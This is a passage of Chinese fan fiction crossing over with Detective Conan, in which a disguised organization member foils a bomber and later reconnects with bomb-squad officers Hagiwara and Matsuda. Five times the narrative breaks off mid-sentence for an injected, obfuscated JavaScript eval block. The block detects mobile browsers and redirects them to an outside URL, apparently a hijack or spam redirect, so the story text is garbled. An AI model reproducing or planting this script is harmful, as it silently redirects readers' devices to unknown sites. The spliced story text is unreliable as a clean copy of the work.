银发青年给出了肯定。 “第一步的任务是这样的。现在是凌晨3点13分,3天后我要得到你们的答案,你们可以选择合作,也可以各干各的。” 知花裕树想了想,要交代的就这些了,于是点了点头,“嗯,就是这样。房门上写有我的联系方式,你们三天后再联系我,我把葡萄酒留给你们,离开的时候叫它,它会给你们带路。” 安室透敏锐地察觉到什么,“这么说的话,莱蒙你现在就要离开这里?” 把他们三个底细不明的新人留在他自己的私人据点,不能吧? 银发青年居然点了点头,歪了一点的脑袋还能看出疑惑,“有问题吗?” “……没问题。” 对方这样的态度,安室透反而更谨慎了。按莱蒙在树林里搞那么多乱七八糟东西的风格来说,他不可能在据点内部什么都没装,也许就等着不长眼的人触发他的机关。 在摸清莱蒙的底细前,还是谨慎行事为好。 银发青年又拍了拍银环蛇的脑袋,它好像真的听懂了主人的无声的话语,从对方身体上滑下来,在主人离开后,一路滑到房间角落,盘卧下去不动了,一双阴冷的眼静静地瞅着三人。 莱蒙说了这个任务既可以合作也可以单打独斗,两个公安卧底自然很有默契地共同选择了单打独斗,诸星大也跟着颔首——对他而言,也是一个人更方便。 不过前期调查时资料还是要共享的。对尸.体的调查也是同样。 太.平间里一共放了三个停尸柜。安室透戴上手套拉开3号柜。 与想象中的场景有些不同,死者被特意整理过仪容仪表,身上还放了花圈,花圈里放着张大大的卡片,写着—— 你本是尘土,仍要归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110948|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于尘土。 这是《圣经》里的话。想到白鸟龙太资料里写的那句基督教徒,安室透沉默了下,他不觉得搞这些东西会是组织的要求,那就只能是莱蒙自己的想法。 他果然是个怪人。 …… 知花裕树并不是很想离开裕树小屋。但他摆烂了太久,系统只好拿出杀手锏。 [再不干活就停你能量!] 没有能量,他是真的会死。知花裕树只好打起精神。 去寻宝的时候知花裕树就没办法戴丑童子面具了。毕竟外面不比组织,组织里都是同事,大家看他不爽也只能忍忍算了,出门在外还这个打扮,所有人都会退避三舍,甚至会有人报警。 知花裕树想了个办法,他去找贝尔摩德学了易容。 贝尔摩德也是组织成员,真实身份是大明星莎朗·温亚德,她曾师从著名魔术师黑羽盗一,从他那里学来一手出神入化的易容术。 知花裕树目前的技术虽然比不上贝尔摩德,但也马马虎虎够用了。 有了这个技能后,每次出门寻宝,他都会给自己换上另一张脸——那是一张有着半边烧伤的伤疤,虽然五官平常,但一看就人狠话不多的脸。 披好假皮,接下来就是目标的问题。 一个月前,知花裕树路过警视厅的时候,系统忽然大叫,说在警视厅大楼里面感受到了宝物的波动。 知花裕树[哦]了声,指了指自己,[所以呢?你要我进去拿?我是罪犯欸!你也不想看到我被警察抓到吧?] 系统:[……] 知花裕树抬腿就走,这件事就这么搁置了一个月。系统也在他耳朵边念叨了一个月,最后终于忍无可忍,拿停能量来要挟他。 宝物是可能溜走的,万一溜走,再找就更麻烦。 这也是为什么系统一直催他,甚至等不及让他先处理完新人考核。 该干的活躲是躲不了的,知花裕树决定先想办法混入警视厅进行搜寻,确认宝物到底在什么地方。 他掏出手机,找出某个号码,犹豫了一下又放下手机,打开电脑,在浏览器搜索【许久不见的陌生人该怎么打招呼】。 没有陌生人相关的词条,都是【许久不见的朋友如何问好】。朋友那套话术他对着黑试过了,对方的反应就是没有反应。 可能是因为他们不是朋友。 没有可参考的话术,知花裕树对着信息发送框无比纠结地挠头。 系统给他出主意:[先问个好试试?] 知花裕树手比脑子快地发了个[你好]过去,反应过来后差点把手机摔了。 哪怕是他也知道陌生号码突兀地发个[你好]有多奇怪!手机信息有没有撤回功能?快找找快找找。 叮。 对方回了信息。 [莫非是结城先生?] 6. 第六章(小修) 结城珀——这是知花裕树给假皮起的名字。 他第一次使用这个马甲是在大约两年前。 彼时还是冬天,知花裕树的易容技术尚未出师,于是请了贝尔摩德来家里帮他捏脸。 贝尔摩德欣然同意,当天上午就到了他的别墅。 贝尔摩德问他:“想要什么样的脸?有参考吗?” 知花裕树比划道:“想要那种别人一看就知道‘此子断不可留’的感觉。” 贝尔摩德:“……啊?” “就是那种看起来冷酷地杀了十年鱼一样的感觉。” 贝尔摩德懂了,“要琴酒那种类型的脸?” 知花裕树想了想,“差不多吧,但是黑太好看了,要普通一点。” 贝尔摩德点点头,开始在他脸上捣鼓。 少年安静坐着,偶尔眨巴两下眼睛,银白色的睫毛、淡灰的眼瞳、眼角轻轻的一滴泪痣,好似有冰做的蝴蝶颤颤地停在了冬日的枯黑树梢。 贝尔摩德按对方的要求逐渐将手下这张脸变成了一张冷酷地杀了十年鱼的普通男性青年的脸,完工时,她勾起少年的下巴,挑眉,“把那么一张好看的脸盖住真是可惜。” 少年笑了下,微微往后一仰,手臂肌肉发力,从椅子上轻盈跃起,落在了镜子前。 知花裕树看上去身量单薄,实际一身薄肌,站起来的时候在贝尔摩德身前覆下一片阴影。 他皱了皱眉,“会不会还是太好看了?” 镜子里的青年看上去约莫二十多岁的模样,比他本体要成熟一些,黑发黑眸,五官平平无奇,但左边脸上从额头到颧骨处有一块暗红色的烧伤伤疤。 贝尔摩德让他低头,为他整理了假发的发型。 组织里很多人都知道莱蒙喜欢戴一个丑得令人生理不适的面具,私下不少人吐槽他品味怪异、行事乖张;但贝尔摩德知道,莱蒙戴那顶面具只是为了遮住他的脸。 作为为数不多对莱蒙过往略知一二的人,贝尔摩德能理解他为什么会这样。 他是一只从腐烂之地飞出来的蝴蝶。 “这样就刚好。”贝尔摩德循循善诱,“我给你画了伤疤来增加威慑力,这种状况下如果五官画得太难看,反而会给人留下过深的印象,无论你想做什么都可能给你带来不必要的麻烦,现在这种普通大众脸搭配起来就刚好。” 知花裕树觉得贝尔摩德作为专业人士说的肯定有道理,他也确实没办法接受自己顶着一张太过难看的脸到处晃悠,于是不再纠结。 他穿上黑色皮夹克,扣了顶鸭舌帽,出门了。 那个时候知花裕树对寻宝工作还很有热情,每个月至少例行一次,因为系统的宝物雷达只有在宝物距离他们300米范围内才能感知到,且越近越清晰,所以知花裕树不得不在街上四处溜达,往往还一无所获。 那天倒是挺幸运,他刚溜达半个小时,系统就叫道:[小树!有波动!] 系统检测到的宝物在隔壁街道,似乎是在移动中,信号很不稳定。 如果被它跑了,后面再想追就麻烦了。 知花裕树当机立断,问明系统方向,马上两步攀上了路旁的院墙,落入院子里,对院子里正在晾衣服的主妇鞠了一躬,“对不起,赶时间,借用一下您家的院子,感谢配合,祝您生活愉快。” 然后在主妇懵逼又惊恐的目光下,他沿着窗户和管道三两下翻上屋顶,继而滑跳到另一侧的街道上。 全程不超过1分钟。 M741星云的宝物其实并非一定是实体,有很大一部分只是一团能量,逸散后附着在了别的物体上,这次知花裕树碰到的就是这种情况。 按照系统的判断,宝物是一个路人手里的手机。 那是一个普通的中年男性,穿着土色西装,戴着眼镜,手里捧着手机,表情莫名有些狰狞。 脸长得让人可以非常放心地靠近。 知花裕树打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110949|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算拿钱买他的手机。 现在的他早已洗心革面重新做人,万万做不出拦路抢劫这种事。 但是他刚走过去拍了拍对方的肩膀,对方就吓得把手机都扔了。 知花裕树眼疾手快地一把捞过手机,发现屏幕上正显示拨打电话中,但本该显示电话号码的地方出现的却是倒计时。 3…… 2…… 1…… 知花裕树挂断了电话,倒计时在变为0前停滞了。黑发青年鸭舌帽下的目光淡淡地浮出一层问号。 加入组织之初,他和琴酒一起出过几次任务,他们用来收尾的炸.弹其中一种引.爆方式就是使用手机拨打电话。 这种引.爆方式隐蔽方便,颇受黑.道组织欢迎。 所以说,这人刚刚是在引.爆炸.弹? 中年男人自己也做贼心虚,更何况知花裕树目前的这副尊容,一看就像杀了十年鱼一样冷酷无情,于是知花裕树才刚瞥过去一眼,还没来得及说什么,中年男人扭头便跑。 其实知花裕树一开始没打算跟他计较什么,炸.弹就炸.弹吧,也不是什么不得了的事情,但对方这么一跑,知花裕树就感觉不追一下似乎显得不配合,人家跑到一半回头一看没人追,那多尴尬啊! 为了不让人尴尬,他就礼貌性地追了上去,轻轻松松把人按倒了,吸引了不少路人远远驻足围观,小声指指点点。 知花裕树微微蹙眉,他不喜欢被人这样关注的感觉,于是单手拖着中年男人的衣领把人拽到了无人的小巷里。 气氛都到这儿了,知花裕树干脆把人暴揍了一顿,然后干了他很早之前就想干的一件事——报警。 看清他拨打的号码的鼻青脸肿的中年男人暗吸一口气,在通话接通时用恐惧惊慌颤抖的声音大叫:“救命——!杀人了!” 知花裕树看了他一眼,对着手机点点头,“嗯,总之就是这么回事,人在我手上,你们来吧。” 7. 第七章 警视厅对这通电话的评价只有两个字:嚣张。 极其嚣张。 搜查一课的警察快速出动,很快就赶到了案发地点。 小巷子的深处被建筑物遮挡得几乎透不进阳光。 阴影里,身穿黑夹克的男人手里拿着psp专心致志地敲,鸭舌帽低低地压下来,挡住了他的眉眼,被他当成椅子坐的土色西装男人看到警察的一瞬间马上呜呜叫了起来,一张红肿的脸写满控诉。 男人低头看了他一眼,他又迅速熄声,安静了下去。 目暮十三不知道男人身上是否藏有凶器,谨慎地说:“你既然愿意报出地址让警察过来,肯定是有什么诉求,你可以告诉我们。” 男人抬起头,被鸭舌帽遮住的地方隐隐露出一块伤疤的痕迹,他收起psp,唔了声,问:“可以让我当一天警察吗?” 目暮十三:“?” …… 人生不如意事果然十之八九,知花裕树的愿望没能实现,不过成功收获了警视厅半日游。 他配合地跟着警察回到了警视厅,把充当引.爆器的手机交给了警察,并告诉他们有疑问去问那个男人。 目暮十三满头雾水,不过身为刑警的直觉让他没有忽视知花裕树的话,而是转而去询问“被害者”。 这位“被害者”被打得鼻青脸肿还坚持不用去医院验伤,想赶紧回家,看起来就很有问题。 警察们一开始还很慎重地拿知花裕树当犯罪嫌疑人对待,但慢慢的,目暮十三就在对“被害者”的问讯中先察觉出事情不太对。 知花裕树那边倒是一直很淡定,因为本体的少年音和如今的形象不太吻合,他甚至连话都没怎么说,主打一个主动跟回警局,但拒不交代犯罪事实。 只在警察问他叫什么的时候,他卡了一会儿壳,现编道:“结城珀。” 结城的发音和裕树一样,至于珀,那是他刚玩的勇者游戏里勇者的名字。 知花裕树心里有谱,先不说罪证确凿,就犯人那个心理素质也不像能在警察手下撑过一轮的,他没必要多说什么,等着就行。 果然没用多久,警察就顾不上他这边了,丢他一个人坐在审讯室望着天花板发呆。 进警局的感觉……也就那样。 体验一把就够了。 警察再一次进来的时候就是在感谢他了。 知花裕树也从警察口中得知了到底发生了什么事,原来那个男人在某个居民楼里装了炸.弹,爆.炸物处理班前去处理炸.弹的时候他遥控引.爆炸.弹,使得原本停滞的炸.弹再次开始倒计时,幸好他及时停止了引.爆器。 “如果再晚一秒,就是十数条警察的性命。结城先生,我要替他们感谢你。” 被人称为目暮的警官严肃而认真地对他鞠了一大躬。 收回前言,进警局的感觉不能算差。 知花裕树矜持地点点头,压低声音道:“不客气。” 目暮十三并没有介意对方有点冷淡的态度,他已经察觉到了,这位结城先生虽然长得像杀了十年鱼一样冷酷,脸上还有一块可怖的烧伤伤疤,但人还是很好的,可能就是社交技能比较差,再加上嗓子似乎有点问题,不太爱说话。 就连刚刚被警察误会,被犯人污蔑也一声不吭。 “不过,虽然很感谢结城先生及时停止炸.弹引.爆器,但是你那样直接把人拖到巷子里打一顿是绝对不行的!” 目暮十三下意识像训手下那样训起知花裕树。 没上过学的后者从未感受过这种类似教导主任的压迫感,同样下意识坐直了身体,低声辩解:“没监控。” “没监控也不行!” 切。 警局果然还是不行。 话虽如此,目暮十三也不打算真的追究什么,再怎么说也是见义勇为,顶多口头批评一下对方行为过激。比起这个,另一件事更让他在意。 “你是怎么发现犯人手里拿的是引.爆器的?” 引.爆器被做成了手机的模样,一般人看到别人拿着手机只会觉得对方在打电话吧? 他面前这个沉默寡言的男人安静了一会儿,目暮十三还以为他没听到问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110950|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,正要重复,他指了指自己,淡淡蹦出两个字,“聪明。” 似乎是觉得不够,又补充道:“绝顶聪明。” 目暮十三:“……” 这要是他手下的警察,说啥也得让他今晚写检查。 又进行了一番安全警示教育,目暮十三看对方那副一声不吭偶尔点头的样子,也不知道他到底听进去多少,无奈地一叹气,安排其他警察做完笔录,又记录下对方的联系方式,就和结城珀说他可以回去了。 “我会向上级请示为你申请协助办案奖,结城先生,到时候再联系。” 知花裕树无所谓地点点头。反正他留的假的联系方式,警方不可能再找到他了。 宝物上附着的能量已经被系统回收,这次出门也算是没有空军。知花裕树心满意足地起身,走出警视厅的大楼后,脚步一顿。 他看着门口写着警视厅字样的标示石壁,思考着要不要和它来一张合影。罪犯进出警视厅的机会也不多,挺有纪念意义的,挂在裕树小屋,随机羡慕死一个来家里作客的组织成员。 感觉到右边有人在飞速靠近,沉思中的知花裕树头也不抬地往前迈了一步留出空位,一个人影从他背后风一般擦过,往警视厅的大楼里冲去。 知花裕树瞥了对方一眼,看到一个穿黑西装的背影,还有一头很有特色的黑色卷毛。 什么啊,哪家黑.道组织要攻陷警视厅吗?好嚣张…… “小阵平!” 后面又追来一个人。知花裕树下意识顺着声音把余光投过去。 不妙,好耀眼的一张池面脸!五级,不,特级危险! 知花裕树把鸭舌帽又压低些许,当即放弃了和警视厅合照的想法打算溜走,还不等转身,特级危险居然停下了追刚刚那人的脚步,朝他的方向转过身,“等等——” 等你个头。 “请问您是结城先生吗?”似乎是察觉到了他想要离开的迫切心情,特级危险的话说得很快,“我是爆.炸物处.理班的警察,我没有恶意,如果您是结城先生的话,请允许我向您表达谢意。” 8. 第八章(小修) 炸.弹液晶显示屏上再次开始倒计时的时候,萩原研二真的以为自己死定了,他连自己埋……啊不对,他那样被炸.死应该连尸体都没有,直接省了入土为安的步骤。 但是他们一群人都跑到楼下了,炸.弹也没有要爆.炸的迹象。 心有余悸的领导也不敢再让他们进行二次拆.弹,请示上级后直接对这颗炸.弹进行了引.爆处理。 其实通常情况下他们遇到炸.弹的主要处理手法就是直接引.爆,只是这次的炸.弹放置地点在居民楼内,而犯人又比较配合,领导判断安全性比较高,为了减少经济损失才做出了拆.除处理的决定。 结果差一点就全军覆没。 凭借自己在警视厅的超好人缘,萩原研二很快就从同事那里问到了事情的真相。 并非是犯人良心发现在最后时刻停止了炸.弹,而是一位普通路过的热心群众发现了鬼鬼祟祟的犯人,从他手中勇夺引.爆器,及时暂停了引.爆计时。 这位同事是晨间剧的忠实爱好者,讲起故事来绘声绘色。 “我们赶到的时候,犯人正跪在结城先生的身前直呼饶命,但是结城先生任他鼻青脸肿痛哭流涕也岿然不动,冷静又郑重地把他交到了我们警察手中。” 萩原研二自动忽略掉那些不重要的形容词,提炼出关键,惊讶地问:“结城先生把犯人揍了一顿吗?” “是啊,牙都打掉了三颗,目暮警官正在教育他呢。”同事小声说,“要我说他一点也没做错,不给人发个见义勇为奖也就算了怎么还教育人呢?” 萩原研二深以为然。 谢过同事提供的信息,挂断电话,萩原研二扭头就被幼驯染松田阵平劈头盖脸骂了一顿。 刚确认危险警报解除给松田阵平报平安的时候,他还奇怪幼驯染为什么没骂他,只是沉默许久才哑着嗓音低低道“你没事就好”。 没想到对方只是觉得电话里骂着不过瘾,挂了电话就跑到了他这里线下骂。 翻来覆去就是骂他为什么不好好穿防弹衣。 超高的情商让萩原研二意识到这时候绝不能说什么“就算穿了防弹衣也顶多留个全尸”这种话,乖乖站着让人骂就对了。 松田阵平消气了,从差点失去幼驯染那种恐慌里走出来,才想起问这到底是怎么一回事。 萩原研二又跟他说了一遍刚刚从同事那里得来的消息。 松田阵平一推墨镜,露出一张想吃人的凶恶脸来,“这么说,那家伙现在正被关在警视厅?” 萩原研二愣了下,才反应过来松田阵平说的不是见义勇为的结城先生,而是炸.弹犯。 炸.弹清除只剩下收尾的工作了,眼看松田阵平气势汹汹地坐进车里,一副要去杀人的模样,萩原研二连忙和领导告了假追上去。 松田阵平身上的低气压吓得萩原研二一路都没敢说什么。 车子在警视厅外停下,松田阵平一甩车门就往里面冲。萩原研二叹了口气追上去,就在这时候,他注意到了在警视厅门口站着的人。 那人背对着他们在看门口的石壁,头上戴着顶鸭舌帽,身材瘦削,背影看上去像十七八岁的少年。 等转过去看到脸才意识到他要更成熟一些。普通平淡的五官好像能从大街上每个路过的男性身上找到点相似之处,最大的特征是脸上那道明显的暗红色伤疤。 正是下班高峰期,警视厅的门口人来人往。他明明站在人群里,可萩原研二看过去的时候,又感觉他像是会随时从世界上消失。 鸭舌帽、黑夹克、烧伤伤疤……萩原研二猛然意识到对方就是同事口中的那位结城先生,他的救命恩人。 很明显的特征,他却没有第一时间认出来,大概是男人身上的气质很难让人联想到见义勇为这样的事。 平平无奇的眉眼藏在鸭舌帽下,微微一抬眼的时候,灰亮的眼眸里倒映出远处一抹明明灭灭的天光。 萩原研二很没有道理地想,他应该有一双更漂亮的眼睛才配这样的眸光。 啊不,这么想真是太失礼了,怎么可以以貌取人。 察觉到对方要离开,萩原研二马上叫住了对方,打算当面表达自己的谢意。 男人顿住脚,停了几秒,才扭头看过来。 …… 知花裕树虽然不喜欢和池面脸走太近,但那只是因为怕麻烦,倒不是真的怕了他们,必要的社交他是不会躲的。 社交也是社会化的一部分,著名心理学家知花教授这样说道。 更何况,在警视厅门口被警察叫住却扭头就跑也实在有点冒昧,一看就是有案在身。 既然对方想感谢他,那就给他这个机会。 知花裕树停下脚步,转过身,一只手揣在兜里,抬了下眼皮,微微颔首,示意对方可以开始表达感谢了。 萩原研二察觉到对方似乎不喜欢别人靠得太近,于是就保持着将近两米的距离先向他释放了善意的微笑。 通常来说,凭借着天赋般的亲和力,只要是他露出这种笑容,无论对方是男是女都会被感染得放松些许;然而结城先生淡淡瞥了他一眼,目光里竟然微不足道地露出一丝嫌弃。 虽然很不明显,但他甚至又往后退了一点。 萩原研二:“……” 晴、晴天霹雳! 他马上不笑了。 也是。看结城先生这种样子,应该生活里也是那种比较严肃的类型,可能觉得他这样太轻浮。 对方是救命恩人,当然要以他的感受为主。 萩原研二比当初面试警校还要紧张地先报了自己的名字,简短地表明了谢意。 对面的人面无表情地点头。 ……同事刚刚在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110951|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话里可没说结城先生是这种性格。 性格不是问题,总之是救命恩人。 “萩原!萩原!不好了!”那位晨间剧同事惊慌失措地跑出来打断了两人的对话,“幸好你在这里!不好了,松田他把炸.弹犯揍了一顿,一拳打掉了对方两颗牙啊!松本警视要被他气死了!” 知花裕树下意识反应:啊?那他还有牙吗? 萩原研二一阵头疼。 小阵平骂对方一顿就算了,怎么还真在警视厅就动手啊!这下好几页的检查是躲不了了,说不定还得在家蹲两天闭门思过。 他按了两下眉心,再对着知花裕树时又沉稳平静地一笑,“对不起,结城先生,我得先去阻止我的好友。” 他撕下一张便签,在上面写下自己的手机号递过来。 “这是我的手机号码,真的万分感谢你救了我的性命,不然的话,我此刻肯定无法再出现在这里。请务必再联系我,让我再正式表达一次谢意。” 对方站直了身体,神情肃穆认真,紫色的眼睛极专注地望过来——递一张纸条递出了国事交接般的态度。 知花裕树:“……” 这样的状况拒绝也令人很有压力,他干脆接了过来。 虽然他现在没打算再打过去,但对方毕竟是警察,万一将来有什么用呢。 …… 还真有用。 确认本次寻宝任务首要步骤是进入警视厅搜寻时,知花裕树第一时间就想到了这个人。 他可是警察。 警察=有办法进入警视厅。 当然,普通平民也不是不能直接进,只是万一被看出来图谋不轨就不妙了,有警察带着就保险得多。 肯定没人能想到,会有罪犯敢找警察带自己进警视厅。 叮。 对方发来了第二条信息。 [好久不见,结城先生最近还好吗?有时间的话,可以见一面吗?关于那次事件,非常想再好好感谢一下。] 知花裕树没想明白对面那个警察到底怎么这么快就判断出了这个陌生信息是来自结城珀的。 不重要。 能不能成功混入警视厅就看这一下了。知花裕树慎重地翻了翻信息记录,学习了下公认业务能力最强的黑平时都是怎么约人出去的。 这样这样那样那样……嗯,这样说话感觉很不礼貌欸,不过黑本来就不讲礼貌,而且连贝尔摩德都说他办事靠谱,跟着黑学应该没问题。 有了,在黑的基础上加个“请”字就完美了! 知花裕树自信回道:[今天中午十二点,不想死的话,请带上我要的东西来见我。] 忽然想起没说地址,他又赶忙补充了一句。 [在警视厅门口。] 不对。 [请在警视厅门口。(以此条为准)] 9. 第九章(修文) 警校毕业进入爆.处组工作后,萩原研二就在外面租了一间公寓住,和松田阵平租住的公寓只隔了一条街。 收到信息后,萩原研二跑去敲开了松田阵平的门,扯着睡眼惺忪的卷毛警官看他的手机屏幕。 松田阵平一个激灵,“萩你被人勒索了?” “不是,是结城先生,就是两年前抓到了炸.弹犯那位,我的救命恩人。” 松田阵平满脑袋问号,“他为什么来勒索你?” 萩原研二:“……不是勒索,他用了‘请’。我想只是结城先生不太会说话,才用了这种会让人误解的措辞。” 虽然两年前连话都没能成功说上两句,但萩原研二直觉那个人的话,可能确实会说出这种容易让人误解的话。 松田阵平咬着萩原研二过来时顺便给他带的早餐,仰靠在沙发上对着手机屏幕上翻来覆去看了几遍的信息皱眉,“你确定真的是他吗?会不会只是一个想恐吓勒索别人却不长眼地把信息发到了警察手机上的倒霉鬼?” 话是这么说,但松田阵平自己也不觉得会是这个样子。就勒索信而言,信息的措辞太客气了,而且哪个勒索犯会想不开把见面地点定在警视厅门口啊。那跟免费送业绩有什么区别。 不过他也没想通萩为什么会觉得这个人就是那个结城珀。当初那人做完笔录,从警视厅离开后就消失了,警方为他申请了见义勇为奖,但是打了他留下的电话却发现是个空号。 对方又不是什么犯人,既然找不到只能就这么算了。松田阵平还为此可惜过,对这个救了萩的人,他也很想当面表达谢意。 萩原研二把自己的手机从松田阵平手里拿回来,拍板道:“到底是不是他,去看看不就知道了。” …… 此刻是早上6点32分,周六。 通过【通灵玩具蛇】的耳钉,知花裕树可以模糊地感觉到葡萄酒的视角。 三人组还在勤勤恳恳地查案。 知花裕树放心地从后门溜走,来到他的车库。他有好几辆豪车,其中最喜欢的那辆是宾利改的,上面涂满了伟大的哲学家海绵宝宝的头像。 遗憾的是,这辆车太过张扬,和结城珀普通内敛的人设不符。 知花裕树开了另一辆。是贝尔摩德帮他选的,不知名品牌的二手车,足够普通,足够朴实无华。 知花裕树把身体塞进小车里,哼哧哼哧地启动了。他一路开到东京市区,眼看时间还早就四处转了一圈,没有发现新的宝物波动。 但是扶老奶奶过了一次马路,救下了一只被困窗台的猫。 11点58分,知花裕树的二手车停在了警视厅对面。正值盛夏,正午的阳光毒辣,明晃晃地打在警视厅的大楼上。 街上没有多少行人,蝉鸣和热浪一浪高过一浪。 车里没开空调,知花裕树依然穿着长袖卫衣和牛仔裤。 为了节省能量,系统将他不必要的感官都维持在了最低限度,所以他并不会觉得特别热。 隔着车窗,知花裕树看到警视厅大门口站着两个男人,都是身材修长挺拔,宽肩窄腰,标准的倒三角。 其中一个正是当年给他电话号码那个警官。 两个人说着什么,其中一个笑起来,把一条手臂搭在了另一人肩膀上,被搭的那个人没好气地拿手肘捅了下对方,但也没挣脱。 知花裕树瞪圆了眼睛。 外面的世界果然还是太过危险了…… 似乎是察觉到了他的退缩,系统严厉地[嗯?]了声。 知花裕树:[……] 知道了知道了,会好好干活的。 他迈着沉重的步伐下了车,对面两人马上就发现了他,停止说笑,一起穿过马路走到了他面前。 “果然是你,结城先生。你终于肯联络我了。”特级危险脸上扬起春风般的笑容,随即一顿,又收敛了,神色变得肃穆沉稳起来。 一旁的黑色卷毛奇怪地看了他一眼。 知花裕树不知道这种时候该说什么好,阿巴了两声,默默“嗯”了下。 他有点后悔了,早知道还不如拦路抢个劫,马上就能被扭送警视厅,效率又高速度又快,无非是离开的时候麻烦点。 萩原研二看了眼知花裕树没什么表情的脸,敏锐地感觉到对方的情绪似乎不高。他看了眼热烈的太阳,建议道:“附近有个咖啡店,不如我们去那里坐一会儿?” 知花裕树同意了。三人来到咖啡店,在靠窗的地方坐下,萩原研二向他介绍起松田阵平,“这位是我的好友,同样是爆.炸物处理班的警察,松田阵平。” 在咖啡厅坐下后,松田阵平就把常戴的墨镜拿了下来,乌黑灼亮的眼睛没了遮掩,坦荡地迎合着午后的温暖,黑色的卷发扫过立体感十足的眉骨,在鬓角处又柔软地垂落。 这是知花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110952|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裕树觉得很舒服的那类长相,仗着假皮掩护,他甚至多瞅了对方两眼。 不过他是警察吗?不是什么黑.道组织的打手吗? 啊,是那个吧,他学过的,这叫招安。 “嘛,当年那件事多谢你了,结城先生。”穿着白衬衫的卷毛男人懒懒地曲起一根手肘靠着桌子,犬齿间咬了根烟,但没点燃,“这家伙是我最好的朋友,虽然有时候也很烦,不过幸好没死在那个时候。” 最好的朋友——知花裕树没有朋友,他体会不到那是种什么感觉。他好奇地看着萩原研二在松田阵平对他翻白眼时依然哈哈大笑。 他们似乎都不担心对方会说着笑着,扭头就红了眼,掐着腰把人扔上床,疯了一样只会做。 其实只从长相来看,他们是完全符合那种事发生的前置条件的。 系统:[这个世界和你那个不一样,这里是正常人类的世界,人家就是普通朋友,你别想那么多。] 知花裕树:[我懂,你想说我不正常。] 系统:[……] 你自己知道就好。 系统叹了口气,[你也可以和他们成为朋友的,别怕。] 尽管理智上知道这个世界是不一样的,但知花裕树还是会下意识胆怯。从心理学的角度来讲,这应该属于PTSD。 好几年过去了,他的PTSD不仅没好,反而有越发严重的倾向。 这样不好。 伟大的哲学家亚里士多德曾经说过:唯有克服了内心的恐惧,才能获得真正的自由。 知花裕树深吸一口气,张了张嘴—— “先生,您的咖啡。” 他又闭上了嘴。漏气就像呼吸一样简单。 系统:[啧,瞅你那点出息。] 知花裕树充耳不闻。 萩原研二点的那杯咖啡最先被端上来,男人弯起好看的眼眸向店员小姑娘道谢,不知怎么就哄得对方喜笑颜开。 松田阵平朝知花裕树伸出一只手,“总之,很高兴认识你。” 萩原研二吹开奶沫,先抿了一口。 知花裕树没有回握,不过被触发了关键词的他这回总算知道该怎么回答了,他从容而冷酷地点点头,刻意压低放哑的嗓音慢慢响起。“我也很高兴认识你。唔……令尊令堂还健在吗?” 松田阵平:“……?” 萩原研二一口咖啡:“噗——” 10. 第十章 知花裕树快速拿菜单挡住了咖啡攻击,放下来的时候他还好整以暇地问:“太烫了吗?” 萩原研二:“……” 松田阵平抽了两张纸巾递给好友,顺带回应了知花裕树的问题,“嗯,还活得好好的。” “喔,挺好。”知花裕树绞尽脑汁地搜刮下一个话题。 萩原研二感觉不能再让他自由发挥,主动问道:“结城先生,你在信息里说让我带上你要的东西,请问是什么东西呢?” 对面的男人脸上一片空白,眼底分明写着“啊?我还发过这个?”。 过了两秒,他沉稳道:“……东西不重要,只要你人到了就行。” 心里有种果然如此的感觉,萩原研二猜测道:“结城先生,是有什么事要帮忙吗?” 